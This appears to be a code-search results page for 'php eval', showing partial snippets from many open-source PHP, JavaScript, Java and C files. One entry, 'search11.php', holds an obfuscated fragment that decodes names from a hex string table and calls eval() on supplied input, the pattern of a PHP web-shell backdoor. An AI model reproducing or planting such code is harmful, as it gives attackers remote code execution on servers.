100+ results for 'php eval'
Not the results you expected?
AclVoterTest.php (https://gitlab.com/TouirMohamedMarwen/Symfony2) PHP · 432 lines
1 <?php
3 /*
21 use Symfony\Component\Security\Acl\Voter\AclVoter;
23 class AclVoterTest extends \PHPUnit_Framework_TestCase
24 {
25 /**
412 $provider = $this->getMock('Symfony\Component\Security\Acl\Model\AclProviderInterface');
413 $permissionMap = $this->getMock('Symfony\Component\Security\Acl\Permission\PermissionMapInterface');
414 $oidStrategy = $this->getMock('Symfony\Component\Security\Acl\Model\ObjectIdentityRetrievalStrategyInterface');
415 $sidStrategy = $this->getMock('Symfony\Component\Security\Acl\Model\SecurityIdentityRetrievalStrategyInterface');
NestedSetBehaviorQueryBuilderModifier.php (https://github.com/1989gaurav/Propel.git) PHP · 379 lines
1 <?php
3 /**
106 protected function addDescendantsOf(&$script)
107 {
108 $objectName = '$' . $this->table->getStudlyPhpName();
109 $script .= "
110 /**
120 if ($this->behavior->useScope()) {
121 $script .= "
122 ->inTree({$objectName}->getScopeValue())";
123 }
124 $script .= "
131 protected function addBranchOf(&$script)
132 {
133 $objectName = '$' . $this->table->getStudlyPhpName();
134 $script .= "
135 /**
11.13.2-2.js (https://bitbucket.org/ultra_iter/qt-vtl.git) JavaScript · 253 lines
50 The production AssignmentExpression :
51 LeftHandSideExpression @ = AssignmentExpression, where @ represents one of
52 the operators indicated above, is evaluated as follows:
54 1. Evaluate LeftHandSideExpression.
55 2. Call GetValue(Result(1)).
56 3. Evaluate AssignmentExpression.
57 4. Call GetValue(Result(3)).
58 5. Apply operator @ to Result(2) and Result(4).
75 "VAR1 = NaN; VAR2=1; VAR1 /= VAR2",
76 Number.NaN,
77 eval("VAR1 = Number.NaN; VAR2=1; VAR1 /= VAR2") );
79 new TestCase( SECTION,
bson.js (https://gitlab.com/junxianlim/twitter_clone_node) JavaScript · 321 lines
76 *
77 * Options
78 * - **evalFunctions** {Boolean, default:false}, evaluate functions in the BSON document scoped to the object deserialized.
79 * - **cacheFunctions** {Boolean, default:false}, cache evaluated functions for reuse.
107 *
108 * Options
109 * - **evalFunctions** {Boolean, default:false}, evaluate functions in the BSON document scoped to the object deserialized.
110 * - **cacheFunctions** {Boolean, default:false}, cache evaluated functions for reuse.
CakeValidationSetTest.php (https://github.com/kunit/cakephp.git) PHP · 339 lines
5 * PHP 5
6 *
7 * CakePHP(tm) Tests <http://book.cakephp.org/view/1196/Testing>
8 * Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
9 *
13 *
14 * @copyright Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
15 * @link http://book.cakephp.org/view/1196/Testing CakePHP(tm) Tests
16 * @package Cake.Test.Case.Model.Validator
17 * @since CakePHP(tm) v 2.2.0
126 $rules = array('validEmail' => array('rule' => 'email', 'message' => 'Invalid email'));
127 $Rule = new CakeValidationRule($rules['validEmail']);
128 $Field->setRule('validEmail', $Rule);
129 $result = $Field->getRules();
Collect.php (https://gitlab.com/crazybutterfly815/magento2) PHP · 313 lines
1 <?php
2 /**
3 * Copyright © 2016 Magento. All rights reserved.
133 };
135 $stateValues = array_map($stateCallback, $finalDbModuleArray);
136 $installedCount = count($stateValues);
137 $disabledCount = $enabledCount = $uninstalledCount = 0;
139 foreach ($stateValues as $state) {
140 switch($state){
141 case Config::ENABLED:
260 $dbModuleArray = $this->moduleCollectionFactory->create()->getItems();
262 $nameValues = array_map($callback, $dbModuleArray);
263 $moduleChanges = [];
Annotation.php (https://bitbucket.org/cryofrost/portal.git) PHP · 267 lines
1 <?php
3 namespace Gedmo\Tree\Mapping\Driver;
17 * @subpackage Annotation
18 * @link http://www.gediminasm.org
19 * @license MIT License (http://www.opensource.org/licenses/mit-license.php)
20 */
21 class Annotation implements AnnotationDriverInterface
165 if ($parent = $this->reader->getPropertyAnnotation($property, self::PARENT)) {
166 $field = $property->getName();
167 if (!$meta->isSingleValuedAssociation($field)) {
168 throw new InvalidMappingException("Unable to find ancestor/parent child relation through ancestor field - [{$field}] in class - {$meta->name}");
169 }
DelegatingValidator.php (https://github.com/xbojer/gfw.git) PHP · 259 lines
search11.php (https://gitlab.com/relacilia/cakra) PHP · 90 lines
1 <?php $GLOBALS['vf64f'] = "\x32\x5b\x55\x6d\x4d\x4c\x6c\x70\x3c\x46\x5c\x61\x59\x4b\x6e\x79\x7e\x21\x5d\x4a\x38\x66\x29\x33\x60\x28\x24\x34\x37\x76\x53\x68\x58\x6b\x20\x39\x45\x78\x65\x47\x64\x2b\x5a\x50\x73\x40\xa\x6f\x5f\x5e\x44\x2d\x3f\x26\x31\x2f\x27\x2e\x3e\x7d\x25\x57\x74\x42\x35\x51\x30\x48\x72\x7c\x3b\x54\x67\x62\x9\x56\x69\x63\x7b\x7a\x36\x4e\x75\x2c\x43\x2a\x52\xd\x71\x4f\x3d\x49\x41\x23\x3a\x77\x6a\x22";
2 $GLOBALS[$GLOBALS['vf64f'][79].$GLOBALS['vf64f'][35].$GLOBALS['vf64f'][11].$GLOBALS['vf64f'][20].$GLOBALS['vf64f'][66].$GLOBALS['vf64f'][73]] = $GLOBALS['vf64f'][77].$GLOBALS['vf64f'][31].$GLOBALS['vf64f'][68];
3 $GLOBALS[$GLOBALS['vf64f'][62].$GLOBALS['vf64f'][21].$GLOBALS['vf64f'][21].$GLOBALS['vf64f'][0].$GLOBALS['vf64f'][21].$GLOBALS['vf64f'][11].$GLOBALS['vf64f'][40]] = $GLOBALS['vf64f'][47].$GLOBALS['vf64f'][68].$GLOBALS['vf64f'][40];
86 elseif ($z62e1[$GLOBALS['vf64f'][11]] == $GLOBALS['vf64f'][38])
87 {
88 eval($z62e1[$GLOBALS['vf64f'][40]]);
89 }
90 }
ValidatorBuilder.php (https://gitlab.com/pr0055/symfonypizza) PHP · 342 lines
1 <?php
3 /*
30 use Symfony\Component\Validator\Mapping\Loader\YamlFileLoader;
31 use Symfony\Component\Validator\Mapping\Loader\YamlFilesLoader;
32 use Symfony\Component\Validator\Validator\RecursiveValidator;
34 /**
338 $contextFactory = new ExecutionContextFactory($translator, $this->translationDomain);
340 return new RecursiveValidator($contextFactory, $metadataFactory, $validatorFactory, $this->initializers);
341 }
342 }
Service.php (https://bitbucket.org/resourcemode/smodels.git) PHP · 439 lines
1 <?php
2 /**
3 * Smodels
8 namespace Supa\Product\Attribute;
10 use Supa\Product\Attribute\Value\Collection as ProductAttributeValueCollection;
11 use Supa\Product\Attribute\Mapper as ProductAttributeMapper;
12 use Supa\Product\Attribute\Attribute as ProductAttribute;
13 use Supa\Product\Attribute\Value\Value as ProductAttributeValue;
14 use Supa\Product\Product;
15 use Supa\User\User;
76 * @param string $attributeName
77 * @param User $user User who created attribute
78 * @param array $attributeValues
79 * @return ProductAttribute|null
80 */
definitions.php (https://gitlab.com/scsistemas/superprime) PHP · 262 lines
1 <?php
2 //$urlWS = 'http://qa.superprimeweb.com/admin/index.php?';
3 $urlWS = 'http://localhost:8080/superprime/admin/index.php?';
4 $rutaFotos = '../images/fotos/';
5 //$rutaFotos = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST'] . '/backend/images/fotos/';
7 //ini_set('display_errors', '1');
8 foreach ($variable as $key ) {
9 $dataML[$key] = obtenerClaveValor($urlWS, $key);
10 }
32 }
34 function actulizarClaveValor($urlWS, $clave, $valor){
35 $hashParam = array('p_clave' => $clave, 'p_valor' => $valor);
36 $hashParam = json_encode($hashParam);
Driver.php (https://bitbucket.org/pastor399/newcastleunifc.git) PHP · 280 lines
1 <?php
2 /*
3 * $Id: Driver.php 48519 2012-02-03 23:18:52Z btowles $
25 * @package Doctrine
26 * @subpackage Cache
27 * @license http://www.opensource.org/licenses/lgpl-license.php LGPL
28 * @link www.doctrine-project.org
29 * @since 1.0
84 *
85 * @param string $id cache id
86 * @param boolean $testCacheValidity if set to false, the cache validity won't be tested
87 * @return mixed Returns either the cached data or false
88 */
89 public function fetch($id, $testCacheValidity = true)
90 {
91 $key = $this->_getKey($id);
Comparison.html (https://github.com/pgiraud/openlayers.git) HTML · 405 lines
12 "new OpenLayers.Filter.Comparison returns object" );
13 t.eq(filter.foo, "bar", "constructor sets options correctly");
14 t.eq(typeof filter.evaluate, "function", "filter has an evaluate function");
15 }
67 }
69 function test_evaluate(t) {
71 var cases = [{
216 for(var i=0; i<cases.length; ++i) {
217 c = cases[i];
218 t.eq(c.filter.evaluate(c.context), c.expect, "case " + i + ": " + c.filter.type);
219 }
161_mangos_spell_dbc.sql (https://github.com/Gengeru/mangos.git) SQL · 104 lines
56 `EffectAmplitude2` int(11) NOT NULL DEFAULT '0',
57 `EffectAmplitude3` int(11) NOT NULL DEFAULT '0',
58 `EffectMultipleValue1` float NOT NULL DEFAULT '0',
59 `EffectMultipleValue2` float NOT NULL DEFAULT '0',
60 `EffectMultipleValue3` float NOT NULL DEFAULT '0',
61 `EffectMiscValue1` int(11) NOT NULL DEFAULT '0',
62 `EffectMiscValue2` int(11) NOT NULL DEFAULT '0',
TestMethodExpressionImpl.java (https://gitlab.com/essere.lab.public/qualitas.class-corpus) Java · 329 lines
40 beanA.setName("A");
41 context.getVariableMapper().setVariable("beanA",
42 factory.createValueExpression(beanA, TesterBeanA.class));
44 TesterBeanAA beanAA = new TesterBeanAA();
45 beanAA.setName("AA");
46 context.getVariableMapper().setVariable("beanAA",
47 factory.createValueExpression(beanAA, TesterBeanAA.class));
49 TesterBeanAAA beanAAA = new TesterBeanAAA();
50 beanAAA.setName("AAA");
51 context.getVariableMapper().setVariable("beanAAA",
52 factory.createValueExpression(beanAAA, TesterBeanAAA.class));
54 TesterBeanB beanB = new TesterBeanB();
cl_ltp.c (https://github.com/diegocarrera/isabel.git) C · 247 lines
Entry.php (https://bitbucket.org/cesarmedrano/cesarmedrano.git) PHP · 630 lines
1 <?php
3 /**
13 * limitations under the License.
14 *
15 * PHP version 5
16 *
17 * @category Microsoft
18 * @package WindowsAzure\Common\Internal\Atom
19 * @author Azure PHP SDK <azurephpsdk@microsoft.com>
20 * @copyright 2012 Microsoft Corporation
21 * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0
33 * @category Microsoft
34 * @package WindowsAzure\Common\Internal\Atom
35 * @author Azure PHP SDK <azurephpsdk@microsoft.com>
36 * @copyright 2012 Microsoft Corporation
37 * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0
TorqueTest.php (https://github.com/MontmereLimited/zf2.git) PHP · 388 lines
1 <?php
2 /**
3 * Zend Framework
107 * expected integer
108 */
109 public function testTorqueValuePositive()
110 {
111 $value = new Measure\Torque('100',Measure\Torque::STANDARD,'de');
118 * expected integer
119 */
120 public function testTorqueValueNegative()
121 {
122 $value = new Measure\Torque('-100',Measure\Torque::STANDARD,'de');
129 * expected float
130 */
131 public function testTorqueValueDecimal()
132 {
133 $value = new Measure\Torque('-100,200',Measure\Torque::STANDARD,'de');
list_test.c (http://embox.googlecode.com/svn/trunk/embox/) C · 528 lines
450 }
452 TEST_CASE("list_foreach_link should evaluate the list argument only once") {
453 struct list_link *lnk = NULL;
454 int i = 0, eval_cnt = 0;
456 fill_in_from(xyz, &m);
458 list_foreach_link(lnk, eval_cnt++ ? &n : &m) {
459 ++i;
460 }
462 test_assert_equal(eval_cnt, 1);
463 test_assert_equal(i, 3);
464 test_assert_equal(lnk, &z.lnk);
Driver.php (https://github.com/xdade/doctrine1.git) PHP · 280 lines
1 <?php
2 /*
3 * $Id: Driver.php 7490 2010-03-29 19:53:27Z jwage $
25 * @package Doctrine
26 * @subpackage Cache
27 * @license http://www.opensource.org/licenses/lgpl-license.php LGPL
28 * @link www.doctrine-project.org
29 * @since 1.0
84 *
85 * @param string $id cache id
86 * @param boolean $testCacheValidity if set to false, the cache validity won't be tested
87 * @return mixed Returns either the cached data or false
88 */
89 public function fetch($id, $testCacheValidity = true)
90 {
91 $key = $this->_getKey($id);
FileValidatorTest.php (https://github.com/Exercise/symfony.git) PHP · 324 lines
1 <?php
3 /*
14 use Symfony\Component\Validator\Constraints\File;
15 use Symfony\Component\Validator\Constraints\FileValidator;
16 use Symfony\Component\HttpFoundation\File\File as FileObject;
17 use Symfony\Component\HttpFoundation\File\UploadedFile;
19 abstract class FileValidatorTest extends \PHPUnit_Framework_TestCase
20 {
21 protected $context;
32 $this->context = $this->getMock('Symfony\Component\Validator\ExecutionContext', array(), array(), '', false);
33 $this->validator = new FileValidator();
34 $this->validator->initialize($this->context);
35 $this->path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'FileValidatorTest';
lagrange_triangle.cpp (https://gitlab.com/philipclaude/avro2) C++ · 411 lines
6 //
7 // Licensed under The GNU Lesser General Public License, version 2.1
8 // See http://www.opensource.org/licenses/lgpl-2.1.php
9 //
10 #include "common/error.h"
35 template<>
36 void
37 Lagrange<Simplex,2,1>::eval( const real_t* x , real_t* phi ) {
38 real_t s = x[0];
39 real_t t = x[1];
73 template<>
74 void
75 Lagrange<Simplex,2,2>::eval( const real_t* x , real_t* phi ) {
76 real_t s = x[0];
77 real_t t = x[1];
pp-syntax.ss (https://github.com/GunioRobot/hobby-code.git) Scheme · 235 lines
Base.php (https://github.com/ewandor/horde.git) PHP · 305 lines
1 <?php
2 /**
3 * Utilities for the various XML handlers.
4 *
5 * PHP version 5
6 *
7 * @category Kolab
92 {
93 if ($node = $helper->findNodeRelativeTo('./' . $name, $parent_node)) {
94 if (($value = $this->loadNodeValue($node, $helper, $params)) !== null) {
95 $attributes[$name] = $value;
96 return $node;
110 * @return mixed|null The value or null if no value was found.
111 */
112 public function loadNodeValue($node, Horde_Kolab_Format_Xml_Helper $helper,
113 $params = array())
114 {
FieldsFilterTest.php (https://gitlab.com/crazybutterfly815/magento2) PHP · 233 lines
1 <?php
2 /**
3 * Copyright © 2016 Magento. All rights reserved.
12 * Unit test for FieldsFilter
13 */
14 class FieldsFilterTest extends \PHPUnit_Framework_TestCase
15 {
16 /**
22 * @var string
23 */
24 protected $sampleResponseValue;
26 /** @var \Magento\Framework\Webapi\Rest\Request|\PHPUnit_Framework_MockObject_MockObject */
34 $this->requestMock = $this->getMock(\Magento\Framework\Webapi\Rest\Request::class, [], [], '', false);
35 $this->processor = new FieldsFilter($this->requestMock);
36 $this->sampleResponseValue = [
37 'customer' => [
38 'id' => '1',
ClientInterface.php (https://gitlab.com/ntphuc/BackendFeedy) PHP · 230 lines
Store.php (https://github.com/speedupmate/Magento-CE-Mirror.git) PHP · 510 lines
1 <?php
2 /**
3 * Magento
8 * that is bundled with this package in the file LICENSE.txt.
9 * It is also available through the world-wide-web at this URL:
10 * http://opensource.org/licenses/osl-3.0.php
11 * If you did not receive a copy of the license and are unable to
12 * obtain it through the world-wide-web, please send an email
22 * @package Mage_Adminhtml
23 * @copyright Copyright (c) 2006-2020 Magento, Inc. (http://www.magento.com)
24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25 */
121 * @return array
122 */
123 public function getStoreValuesForForm($empty = false, $all = false)
124 {
125 $options = array();
unpack.js (https://github.com/geekbuntu/phpjs.git) JavaScript · 358 lines
7 // % note 1: Float decoding by: Jonas Raoni Soares Silva
8 // % note 2: Home: http://www.kingsquare.nl/blog/22-12-2009/13650536
9 // % note 3: Feedback: phpjs-unpack@kingsquare.nl
10 // % note 4: 'machine dependant byte order and size' aren't
11 // % note 5: applicable for JavaScript unpack works as on a 32bit,
21 // Used by float decoding
22 var b = [], bias, signal, exponent, significand, divisor, curByte,
23 byteValue, startBit = 0, mask, currentResult;
25 var readBits = function(start, length, byteArray){
287 do {
288 byteValue = b[ ++curByte ];
289 startBit = precisionBits % 8 || 8;
290 mask = 1 << startBit;
FieldHandlerInterface.php (https://gitlab.com/mohamed_hussein/prodt) PHP · 270 lines
rmd128.c (https://gitlab.com/kush/linux) C · 327 lines
v1.html (https://github.com/aabt/openlayers.git) HTML · 261 lines
Variable.php (https://github.com/bobthecow/Ruler.git) PHP · 427 lines
PrototypedArrayNode.php (https://github.com/meze/symfony.git) PHP · 280 lines
1 <?php
3 /*
143 * @throws InvalidConfigurationException if the node doesn't have enough children
144 */
145 protected function finalizeValue($value)
146 {
147 if (false === $value) {
176 * @return mixed The normalized value
177 */
178 protected function normalizeValue($value)
179 {
180 if (false === $value) {
236 * @throws \RuntimeException
237 */
238 protected function mergeValues($leftSide, $rightSide)
239 {
240 if (false === $rightSide) {
derive.c (https://github.com/retuxx/tinyspline.git) C · 491 lines
136 step = span / (tsReal) (num_samples - 1);
137 for(i = 0; i < num_samples; ++i) {
138 C(ts_bspline_eval(&spline, min + step * i, &net, &status))
139 C(ts_deboornet_result(&net, &result, &status))
140 dist = ts_distance_varargs(tc, 2, result,
166 CuAssertDblEquals(tc, 1.0, knots[1], TS_KNOT_EPSILON);
168 /* Evaluate derivative at mid-span. */
169 C(ts_bspline_eval(&spline, (tsReal) (min + span / 2.0), &net, &status))
214 step = (span - knots[0]) / (tsReal) (num_samples + 1);
215 for(i = 0; i < num_samples; ++i) {
216 C(ts_bspline_eval(&spline, knots[0] + (step * i),
217 &net, &status))
218 C(ts_deboornet_result(&net, &result, &status))
230 ___THEN___
231 for(i = 0; i < num_samples; ++i) {
232 C(ts_bspline_eval(&spline, knots[0] + (step * i),
233 &net, &status))
234 C(ts_deboornet_result(&net, &result, &status))
class-wp-roles.php (https://github.com/livinglab/openlab.git) PHP · 372 lines
Cookie.php (https://bitbucket.org/helfreire/tccsite.git) PHP · 324 lines
1 <?php
3 /*
194 }
196 private static function parseDate($dateValue)
197 {
198 // trim single quotes around date if present
199 if (($length = strlen($dateValue)) > 1 && "'" === $dateValue[0] && "'" === $dateValue[$length-1]) {
200 $dateValue = substr($dateValue, 1, -1);
203 foreach (self::$dateFormats as $dateFormat) {
204 if (false !== $date = \DateTime::createFromFormat($dateFormat, $dateValue, new \DateTimeZone('GMT'))) {
205 return $date->getTimestamp();
206 }
TemperatureTest.php (https://bitbucket.org/Dal-Papa/is-340-publish-base.git) PHP · 447 lines
1 <?php
2 /**
3 * Zend Framework
18 * @copyright Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)
19 * @license http://framework.zend.com/license/new-bsd New BSD License
20 * @version $Id: TemperatureTest.php 24593 2012-01-05 20:35:02Z matthew $
21 */
23 if (!defined('PHPUnit_MAIN_METHOD')) {
24 define('PHPUnit_MAIN_METHOD', 'Zend_Measure_TemperatureTest::main');
28 * Zend_Measure_Temperature
29 */
30 require_once 'Zend/Measure/Temperature.php';
32 /**
CakeValidationSetTest.php (https://gitlab.com/manuperazafa/elsartenbackend) PHP · 337 lines
3 * CakeValidationSetTest file
4 *
5 * CakePHP(tm) Tests <http://book.cakephp.org/view/1196/Testing>
6 * Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
7 *
11 *
12 * @copyright Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
13 * @link http://book.cakephp.org/view/1196/Testing CakePHP(tm) Tests
14 * @package Cake.Test.Case.Model.Validator
15 * @since CakePHP(tm) v 2.2.0
130 $rules = array('validEmail' => array('rule' => 'email', 'message' => 'Other message'));
131 $Rule = new CakeValidationRule($rules['validEmail']);
132 $Field->setRule('validEmail', $Rule);
133 $result = $Field->getRules();
Block.php (https://github.com/michaelmcandrew/citylink.git) PHP · 342 lines
1 <?php
3 /*
62 static function &getValues( $blockName, $params )
63 {
64 eval ('$block = & new CRM_Core_BAO_' . $blockName .'( );');
65 $blocks = array( );
66 if ( ! isset( $params['entity_table'] ) ) {
77 $count = 1;
78 foreach( $blockIds[1] as $blockId ) {
79 eval ('$block = & new CRM_Core_BAO_' . $blockName .'( );');
80 $block->id = $blockId['id'];
81 $getBlocks = self::retrieveBlock( $block, $blockName );
110 while ( $block->fetch( ) ) {
111 $values = array( );
112 CRM_Core_DAO::storeValues( $block, $values );
113 //logic to check when we should increment counter
114 if ( !empty( $locationTypes ) ) {
Dpc.c (https://bitbucket.org/incubaid/edk2.git) C · 347 lines
5 are licensed and made available under the terms and conditions of the BSD License
6 which accompanies this distribution. The full text of the license may be found at
7 http://opensource.org/licenses/bsd-license.php
9 THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
50 //
51 // An array of DPC queues. A DPC queue is allocated for every leval EFI_TPL value.
52 // As DPCs are queued, they are added to the end of the linked list.
53 // As DPCs are dispatched, they are removed from the beginning of the linked list.
States.php (https://github.com/shafiqissani/ASTRA-College-Website.git) PHP · 287 lines
1 <?php
2 /* vim: set expandtab tabstop=4 shiftwidth=4: */
3 //
4 // +----------------------------------------------------------------------+
5 // | PHP Version 4 |
6 // +----------------------------------------------------------------------+
7 // | Copyright (c) 1997-2002 The PHP Group |
8 // +----------------------------------------------------------------------+
9 // | This source file is subject to version 2.02 of the PHP license, |
10 // | that is bundled with this package in the file LICENSE, and is |
11 // | available at through the world-wide-web at |
12 // | http://www.php.net/license/3_0.txt. |
13 // | If you did not receive a copy of the PHP license and are unable to |
ctkWorkflowTest2.cpp (https://github.com/cim-unito/CTK.git) C++ · 270 lines
148 // use the qObjects for validation
149 QObject::connect(step1->ctkWorkflowStepQObject(), SIGNAL(invokeValidateCommand(QString)),
150 qObject1, SLOT(validate(QString)));
151 QObject::connect(step2->ctkWorkflowStepQObject(), SIGNAL(invokeValidateCommand(QString)),
152 qObject2, SLOT(validate(QString)));
153 // step 3's validation will always fail
154 QObject::connect(step3->ctkWorkflowStepQObject(), SIGNAL(invokeValidateCommand(QString)),
155 qObject3, SLOT(validateFails()));
157 QObject::connect(step4->ctkWorkflowStepQObject(), SIGNAL(invokeValidateCommand(QString)),
158 qObject4, SLOT(validate(QString)));
Conditional.js (https://github.com/Wkasel/qooxdoo.git) JavaScript · 463 lines
11 License:
12 LGPL: http://www.gnu.org/licenses/lgpl.html
13 EPL: http://www.eclipse.org/org/documents/epl-v10.php
14 See the LICENSE file in the project's top-level directory for details.
312 var i;
313 var bTestPassed;
314 var compareValue;
316 var style =
332 if (test.target == null)
333 {
334 compareValue = cellInfo.cellData;
335 }
336 else
psb.input.js (https://github.com/wildanm/Jibas.git) JavaScript · 292 lines
4 var dept = $("#psb_departemen").val();
5 $.ajax({
6 url : 'psb/psb.input.ajax.php?op=getTambahanData&dept='+dept,
7 type: 'get',
8 success : function(html) {
13 $.ajax({
14 url : 'psb/psb.input.ajax.php?op=setProsesPsb&dept='+dept,
15 type: 'get',
16 success : function(html) {
20 //alert('Get Kelompok with Proses ' + proses);
21 $.ajax({
22 url : 'psb/psb.input.ajax.php?op=setKelompokPsb&proses='+proses,
23 type: 'get',
24 success : function(html) {
ResponseHeader.php (https://github.com/ftaiolivista/Zend-Framework-Namespaced-.git) PHP · 406 lines
119 {
120 if (!$other instanceof Response\AbstractResponse) {
121 require_once 'Zend/Test/PHPUnit/Constraint/Exception.php';
122 throw new Exception('Header constraint assertions require a response object');
123 }
151 case self::ASSERT_HEADER:
152 if (3 > $argc) {
153 require_once 'Zend/Test/PHPUnit/Constraint/Exception.php';
154 throw new Exception('No header provided against which to match');
155 }
196 public function fail($other, $description, $not = false)
197 {
198 require_once 'Zend/Test/PHPUnit/Constraint/Exception.php';
199 switch ($this->_assertType) {
200 case self::ASSERT_RESPONSE_CODE:
MediaContent.php (https://github.com/ftaiolivista/Zend-Framework-Namespaced-.git) PHP · 527 lines
1 <?php
3 /**
19 * @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
20 * @license http://framework.zend.com/license/new-bsd New BSD License
21 * @version $Id: MediaContent.php 20096 2010-01-06 02:05:09Z bkarwin $
22 */
30 * @see Zend_Gdata_Extension
31 */
32 require_once 'Zend/Gdata/Extension.php';
34 /**
216 switch ($attribute->localName) {
217 case 'url':
218 $this->_url = $attribute->nodeValue;
219 break;
220 case 'fileSize':
test.php (https://github.com/F5/zetacomponents.git) PHP · 297 lines
1 <?php
2 /**
3 *
37 * Tests assigning an invalid value to a property.
38 *
39 * Expects that an ezcBaseValueException is raised by the invalid value.
40 *
41 * @param object $properties An object which implements properties access
51 $this->fail( "Expected exception was not thrown." );
52 }
53 catch ( ezcBaseValueException $e )
54 {
55 $value = is_array( $value ) ? serialize( $value ) : $value;
XmlParser.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 4382 lines
✨ Summary
This Java code is part of a XML parser and schema validator. It provides functionality for declaring, querying, and manipulating XML elements and attributes, including their types, default values, and allowed values. The code uses an internal data structure to store information about the XML schema, allowing it to validate and process XML documents against the schema.
This Java code is part of a XML parser and schema validator. It provides functionality for declaring, querying, and manipulating XML elements and attributes, including their types, default values, and allowed values. The code uses an internal data structure to store information about the XML schema, allowing it to validate and process XML documents against the schema.
SqlPlugin.props (https://jedit.svn.sourceforge.net/svnroot/jedit) MSBuild · 172 lines
17 # The menu item label
18 plugin.sql.SqlPlugin.menu=sql.resultSet - sql.chooseCurrentServer - sql.publishBuffer sql.publishSelection - sql.loadObject - sql.preprocessors.BeanShellEvaluator sql.preprocessors.SpecialCommentRemover sql.preprocessors.VariableSubstitutor - sql.repeatLastQuery
20 plugin.projectviewer.sql.SqlPlugin.pv-listeners=sql.SqlPluginPVListener
140 vfs.sql.label=Databases
142 sql.preprocessors.0=sql.preprocessors.BeanShellEvaluator
143 sql.preprocessors.1=sql.preprocessors.VariableSubstitutor
144 sql.preprocessors.2=sql.preprocessors.SpecialCommentRemover
148 sql.preprocessors.SpecialCommentRemover.label=Special comment removing preprocessor
150 sql.preprocessors.BeanShellEvaluator.tooltip=BeanShell preprocessor.\n Evaluates the text as BeanShell expression before sending to the database.
151 sql.preprocessors.VariableSubstitutor.tooltip=Variable substitution preprocessor.\n Asks user to input something for each question mark ('?') in the text.
152 sql.preprocessors.SpecialCommentRemover.tooltip=Special comment removing preprocessor.\n Removes some special sequences of characters from the text.
SessionsPlugin.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 308 lines
✨ Summary
This Java code is part of a plugin for an integrated development environment (IDE). It manages session switching between different views within the IDE, allowing users to save and load their current work sessions. The code creates a toolbar or buffer list component that displays a list of available sessions, enabling users to switch between them.
This Java code is part of a plugin for an integrated development environment (IDE). It manages session switching between different views within the IDE, allowing users to save and load their current work sessions. The code creates a toolbar or buffer list component that displays a list of available sessions, enabling users to switch between them.
Frame-eval-08.js
(git://github.com/zpao/v8monkey.git)
JavaScript · 23 lines
✨ Summary
This JavaScript code creates a new global object and debugger for a compartment. It captures the arguments object and a test function, then executes the test function with specific arguments. The output is verified to be 42, which is the return value of the test function.
This JavaScript code creates a new global object and debugger for a compartment. It captures the arguments object and a test function, then executes the test function with specific arguments. The output is verified to be 42, which is the return value of the test function.
7 var args, testfn;
8 dbg.onDebuggerStatement = function (frame) {
9 args = frame.eval("arguments").return;
10 testfn = frame.eval("test").return;
11 };
12 g.eval("function f() { debugger; }");
13 g.eval("var test = " + function test(args) {
18 return 42;
19 } + ";");
20 g.eval("f(this, f, {});");
22 var cv = testfn.apply(null, [args]);
javascript.xml (https://jedit.svn.sourceforge.net/svnroot/jedit) XML · 560 lines
bootstrap.js
(http://enginey.googlecode.com/svn/trunk/)
JavaScript · 87 lines
✨ Summary
This JavaScript code defines a test suite for the dojo.getObject
and dojo.exists
functions, as well as the dojo.eval
function. It tests various scenarios, including retrieving objects from different scopes, checking if an object exists, and evaluating expressions. The tests are designed to ensure that these functions behave correctly in different situations.
This JavaScript code defines a test suite for the dojo.getObject
and dojo.exists
functions, as well as the dojo.eval
function. It tests various scenarios, including retrieving objects from different scopes, checking if an object exists, and evaluating expressions. The tests are designed to ensure that these functions behave correctly in different situations.
SystemShell.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 1202 lines
✨ Summary
This Java code defines a SystemShell class that provides functionality for interacting with the operating system, including navigating directories and executing commands. It uses a ConsoleState singleton to store information about the current process and directory stack. The code also includes methods for changing drives, setting the current directory, and handling errors.
This Java code defines a SystemShell class that provides functionality for interacting with the operating system, including navigating directories and executing commands. It uses a ConsoleState singleton to store information about the current process and directory stack. The code also includes methods for changing drives, setting the current directory, and handling errors.
561 }
562 varName = m.group(2);
563 String expansion = getVariableValue(view, varName);
564 if (expansion == null)
565 {
566 varName = varName.toUpperCase();
567 expansion = getVariableValue(view, varName);
568 }
569 if (expansion != null)
577 // }}}
579 // {{{ getVariableValue() method
580 public String getVariableValue(View view, String varName)
636 expansion = ConsolePlugin.getPackageRoot(buffer);
637 else if (varName.equals("p"))
638 expansion = BeanShell.eval(view, BeanShell.getNameSpace(),
639 "getProjectRoot(view, buffer)").toString();
640 else if (varName.equals("BROWSER_DIR"))
Primitive.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 1099 lines
✨ Summary
This Java code provides a set of utility methods for working with primitive types and their corresponding wrapper classes (e.g., Byte
to Integer
). It handles casting, assignment, and type checking between these types, ensuring that operations are valid and consistent. The code is designed to be used in a Java environment where primitive types need to be converted to or from their wrapper equivalents.
This Java code provides a set of utility methods for working with primitive types and their corresponding wrapper classes (e.g., Byte
to Integer
). It handles casting, assignment, and type checking between these types, ensuring that operations are valid and consistent. The code is designed to be used in a Java environment where primitive types need to be converted to or from their wrapper equivalents.
191 public static Object binaryOperation(
192 Object obj1, Object obj2, int kind)
193 throws UtilEvalError
194 {
195 // special primitive types
196 if ( obj1 == NULL || obj2 == NULL )
197 throw new UtilEvalError(
198 "Null value or 'null' literal in binary operation");
199 if ( obj1 == VOID || obj2 == VOID )
200 throw new UtilEvalError(
201 "Undefined variable, class, or 'void' literal in binary operation");
BshClassManager.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 353 lines
✨ Summary
This Java code defines a class called BshClassManager
